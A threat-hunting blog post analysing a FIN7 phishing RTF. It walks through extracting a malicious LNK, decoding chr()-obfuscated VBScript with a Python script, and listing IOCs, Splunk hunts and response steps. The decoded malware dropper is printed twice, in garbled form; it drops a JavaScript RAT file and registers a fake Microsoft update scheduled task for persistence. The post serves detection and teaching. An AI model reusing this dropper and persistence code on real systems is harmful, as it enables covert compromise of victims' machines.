7 minutes
Threat Hunting: FIN7 - Initial Access
Introduction
Welcome to the first post in my Threat Hunting series. We are starting with FIN7’s initial access tradecraft: a phishing-delivered, weaponized RTF that abuses living-off-the-land binaries and scheduled tasks to get a foothold. This post distills the key artifacts and shows practical hunts you can run.
This is Part 1 of my Threat Hunting series. Each post focuses on one phase of an intrusion with practical hunts and response tips.
What is FIN7?
FIN7 is a Russia-based threat group targeting the US and EU, focusing on sectors rich in payment card data such as restaurants, hospitality, retail, finance, gaming, and travel.
Initial access is typically via targeted spearphishing with Office exploits or embedded executables; they have also mailed BADUSB devices that emulate keyboards to auto-type malware on Windows hosts.
Post-exploitation commonly involves Carbanak for C2 and data theft, and Cobalt Strike for enumeration, lateral movement, and privilege escalation.
Multiple law enforcement actions since 2018 led to arrests and sentencing tied to thefts exceeding $1 billion.
Employs broad MITRE ATT&CK-aligned TTPs: spearphishing and supply chain compromise for initial access, living-off-the-land execution and persistence, privilege escalation via misconfigurations, defense evasion by masquerading as legitimate processes, Kerberoasting for credentials, lateral movement via RDP and SSH, C2 over varied ports, and exfiltration to MEGA.
Notable campaigns include POS scraping against major US restaurant chains and large-scale heists against 100+ financial institutions worldwide using Carbanak and coordinated ATM cash-outs.
FIN7 uses a phishing-delivered RTF to establish MS SQL–based C2, persist, move laterally, and exfiltrate card data.
Artifact Collection
Scenario
You are given a suspicious RTF document. Your goal is to analyze its contents using rtfdump and custom Python to assess maliciousness and extract indicators of compromise (IOCs) for further investigation.
Step 1: Compute file hash
Generate the SHA-256 hash of the RTF to support integrity verification and enterprise-wide scoping.
kali@kali:~/Desktop$ sha256sum 2-list.rtf
ce08cc99d0827bd9d900cf2e2e26aed3e17ae4f80b010eb6642b9578b3627cf4 2-list.rtf
kali@kali:~/Desktop$
Step 2: Collect file metadata
Extract creation and modification metadata, authorship, and other attributes using ExifTool to enrich context and timeline analysis.
kali@kali:~/Desktop$ exiftool 2-list.rtf
ExifTool Version Number : 11.88
File Name : 2-list.rtf
Directory : .
File Size : 1843 kB
File Modification Date/Time : 2022:08:18 23:14:36+00:00
File Access Date/Time : 2025:08:10 11:57:09+00:00
File Inode Change Date/Time : 2025:08:10 11:35:54+00:00
File Permissions : rw-r--r--
File Type : RTF
File Type Extension : rtf
MIME Type : text/rtf
Author : Jen
Last Modified By : Windows User
Create Date : 2020:06:22 11:08:00
Modify Date : 2021:06:11 16:19:00
Revision Number : 14
Total Edit Time : 36 minutes
Pages : 1
Words : 83
Characters : 474
Characters With Spaces : 556
Internal Version Number : 85
Step 3: Extract embedded objects with rtfdump
Enumerate RTF-embedded objects and export the suspicious payload Windows shortcut (LNK) file for inspection.
kali@kali:~/Desktop$ rtfdump -O -s 1 -d 2-list.rtf > lnk_extract.lnk
kali@kali:~/Desktop$ strings lnk_extract.lnk
/C:\
Windows
System32
mshta.exe
C:\Windows\System32\mshta.exe
desktop-k2q081j
1SPS
1SPS
Step 4: Deobfuscate the code blocks using our custom Python code.
FIN7 hides JS/VBS filenames and commands in obfuscated chr()
sequences that use math to disguise the ASCII codes, to deobfuscate that we created a fully automated decoder that:
- Reads the RTF directly
- Extracts all chr() expressions (including math)
- Outputs the decoded string in one go
import re
import sys
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <rtf_file>")
sys.exit(1)
rtf_file = sys.argv[1]
# Read file
with open(rtf_file, "r", errors="ignore") as f:
data = f.read()
# Find all chr(...) patterns including math expressions
matches = re.findall(r"chr\s*\(\s*([0-9+\-*/\s]+)\s*\)", data, flags=re.IGNORECASE)
decoded = ""
for expr in matches:
try:
# Evaluate math expression safely (integers only)
value = int(eval(expr))
decoded += chr(value)
except Exception as e:
pass # Skip any malformed chr() entries
print(decoded)
Running our custom Python code give us the following output.
kali@kali:~/Desktop$ python3 decode_rtf_chr.py 2-list.rtf
Dim cntent1, contnt2
Dim oFSO, oFSO3strAppata, wshShel
Set wshShel = CreateObject("Wscript.hell")
Set = GetObject,"Word.Appliation")
contnt1 = w.ActiveDocument.Shapes(4).TextFrame.TextRang.Text
content = w.ActiveDocument.Shaps(5).TextFrae.TextRange.Text
Set oFSO CreateObject("ScriptingFileSystemObect")
Set oFO2 = CreateOject("Scripting.FileSysteObject")
strocalAppData wshShell.ExandEnvironmetStrings( "%LOCALAPPDATA% ) + "\"
outile = strLocalAppData + "sql-rat.js"
Set objFile = oFSO.CreateTxtFile(outFie,True)
objFle.WriteLinecontent1
objFile.WriteLin content2
obFile.Close
oSO2.CopyFile"C:\Windows\System32\wscrit.exe", strLocalAppData + "adb156.exe
Dim serviceSet service CreateObjec("Schedule.Srvice")
Call service.Connct()
Dim rootFolder, taskefinition, regInfo
Set rootFolder = service.GetFoldr("\")
Set taskDefinition = service.NeTask(0)
Set egInfo = taskDefinition.ReistrationInfo
regInfo.Description = "icriosoft Upate Service"regInfo.Authr = "system"Dim settings triggers, tigger
Set settings = taskefinition.settings
setting.Enabled = Tue
settings.StartWhenAvaiable = True
settings.Hiden = False
Set triggers =taskDefinitin.triggers
St trigger = triggers.Crete(2)
Dim curTime
Dim strtTime, endTme
Dim datevalue, timevalue, dtsvalue
tsnow = Datedd("n", 5, Now)
dd = Righ("00" & Day(tsnow), 2)
m = Right("00 & Month(dtsnow), 2)
yy = Year(dtsnow)hh = Right("0" & Hour(dtnow), 2)
nn Right("00" & Minute(dtsnw), 2)
ss = ight("00" & econd(dtsnow, 2)
datevale = yy & "-"& mm & "-" & dd
timevalu = hh & ":" nn & ":" & s
dtsvalue =datevalue & "T" & timevale
endTime = 2024-04-18T0:10:00"
triger.StartBoundry = dtsvalu
trigger.EndBoundary = enTime
trigger.DaysInterva = 1
trigger.ID = "DailyTrggerId"
triger.Enabled =True
Dim Acton
Set Actio = taskDefintion.Actions.Create(0)
Set wshShell =CreateObject "WScript.Shll" )
ActionPath = strLoalAppData + adb156.exe"
ction.Argumets = "/b /e:script " + strLocalAppData + "sql-rat.s"
Call rootolder.RegistrTaskDefiniton("Micriosot Update Serice", taskDefinition, 6, , 3)
Dim cntent1, contnt2
Dim oFSO, oFSO3strAppata, wshShel
Set wshShel = CreateObject("Wscript.hell")
Set = GetObject,"Word.Appliation")
contnt1 = w.ActiveDocument.Shapes(4).TextFrame.TextRang.Text
content = w.ActiveDocument.Shaps(5).TextFrae.TextRange.Text
Set oFSO CreateObject("ScriptingFileSystemObect")
Set oFO2 = CreateOject("Scripting.FileSysteObject")
strocalAppData wshShell.ExandEnvironmetStrings( "%LOCALAPPDATA% ) + "\"
outile = strLocalAppData + "sql-rat.js"
Set objFile = oFSO.CreateTxtFile(outFie,True)
objFle.WriteLinecontent1
objFile.WriteLin content2
obFile.Close
oSO2.CopyFile"C:\Windows\System32\wscrit.exe", strLocalAppData + "adb156.exe
Dim serviceSet service CreateObjec("Schedule.Srvice")
Call service.Connct()
Dim rootFolder, taskefinition, regInfo
Set rootFolder = service.GetFoldr("\")
Set taskDefinition = service.NeTask(0)
Set egInfo = taskDefinition.ReistrationInfo
regInfo.Description = "icriosoft Upate Service"regInfo.Authr = "system"Dim settings triggers, tigger
Set settings = taskefinition.settings
setting.Enabled = Tue
settings.StartWhenAvaiable = True
settings.Hiden = False
Set triggers =taskDefinitin.triggers
St trigger = triggers.Crete(2)
Dim curTime
Dim strtTime, endTme
Dim datevalue, timevalue, dtsvalue
tsnow = Datedd("n", 5, Now)
dd = Righ("00" & Day(tsnow), 2)
m = Right("00 & Month(dtsnow), 2)
yy = Year(dtsnow)hh = Right("0" & Hour(dtnow), 2)
nn Right("00" & Minute(dtsnw), 2)
ss = ight("00" & econd(dtsnow, 2)
datevale = yy & "-"& mm & "-" & dd
timevalu = hh & ":" nn & ":" & s
dtsvalue =datevalue & "T" & timevale
endTime = 2024-04-18T0:10:00"
triger.StartBoundry = dtsvalu
trigger.EndBoundary = enTime
trigger.DaysInterva = 1
trigger.ID = "DailyTrggerId"
triger.Enabled =True
Dim Acton
Set Actio = taskDefintion.Actions.Create(0)
Set wshShell =CreateObject "WScript.Shll" )
ActionPath = strLoalAppData + adb156.exe"
ction.Argumets = "/b /e:script " + strLocalAppData + "sql-rat.s"
Call rootolder.RegistrTaskDefiniton("Micriosot Update Serice", taskDefinition, 6, , 3)
What happened
A malicious RTF embedded:
- A Windows shortcut (LNK) that leads to script execution
- Obfuscated VBScript encoded as
chr()
arithmetic
When decoded and executed, the script:
- Writes a staged JavaScript payload to
%LOCALAPPDATA%
assql-rat.js
- Copies
wscript.exe
to%LOCALAPPDATA%
asadb156.exe
to blend in - Creates a Scheduled Task named “Micrisoft Update Service” to persist and run the payload
Why this works
- RTFs can carry embedded objects that many users will open
- LOLBINs like
mshta.exe
andwscript.exe
are trusted, often bypassing naive allowlists - Scheduled Tasks provide quiet, durable persistence in user context
IOCs
- Sample hash:
ce08cc99d0827bd9d900cf2e2e26aed3e17ae4f80b010eb6642b9578b3627cf4
- Files and paths:
%LOCALAPPDATA%\sql-rat.js
%LOCALAPPDATA%\adb156.exe
C:\Windows\System32\mshta.exe
- Scheduled Task:
Micrisoft Update Service
- Process patterns:
mshta.exe
spawning script engineswscript.exe
executed from user-writable paths
What to hunt for (Splunk snippets)
- mshta spawning interpreters:
index=win* (process_name="mshta.exe" OR parent_process_name="mshta.exe")
| stats values(child_process_name) as children by host user parent_process_path process_command_line
| where mvfind(children, "wscript.exe|cscript.exe|powershell.exe|cmd.exe")>=0
- Script engines from user profile locations:
index=win* process_name IN ("wscript.exe","cscript.exe","mshta.exe","powershell.exe")
| where like(process_path, "%\\Users\\%") OR like(process_path, "%\\AppData\\Local%") OR like(process_path, "%\\AppData\\Roaming%")
- Suspicious Scheduled Tasks (creation or presence):
index=win* EventCode=4698 OR (source=Sysmon EventCode=1 process_command_line="*Schedule.Service*")
| search TaskName="*Update*" OR TaskName="*Micrisoft*"
- Writes to LocalAppData with suspicious names:
index=win* source=Sysmon EventCode=11 TargetFilename="*\\AppData\\Local\\*"
| regex TargetFilename=".*(adb[0-9]{3}\.exe|sql\-rat\.js)$"
Quick response checklist
- Quarantine the host and remove the Scheduled Task
- Delete sql-rat.js and adb156.exe from LocalAppData
- Investigate parent process chain starting from the document opener and mshta.exe
- Review other endpoints for the same hash, task name, and file paths
- Rotate user credentials if any script had credential access
Conclusion
FIN7’s initial access hinges on familiar building blocks: a booby-trapped document, LOLBIN execution, and scheduled persistence. Small typos and user-writable paths are your tells. In the next post, I will cover how the payload establishes command and control and how to hunt for it effectively.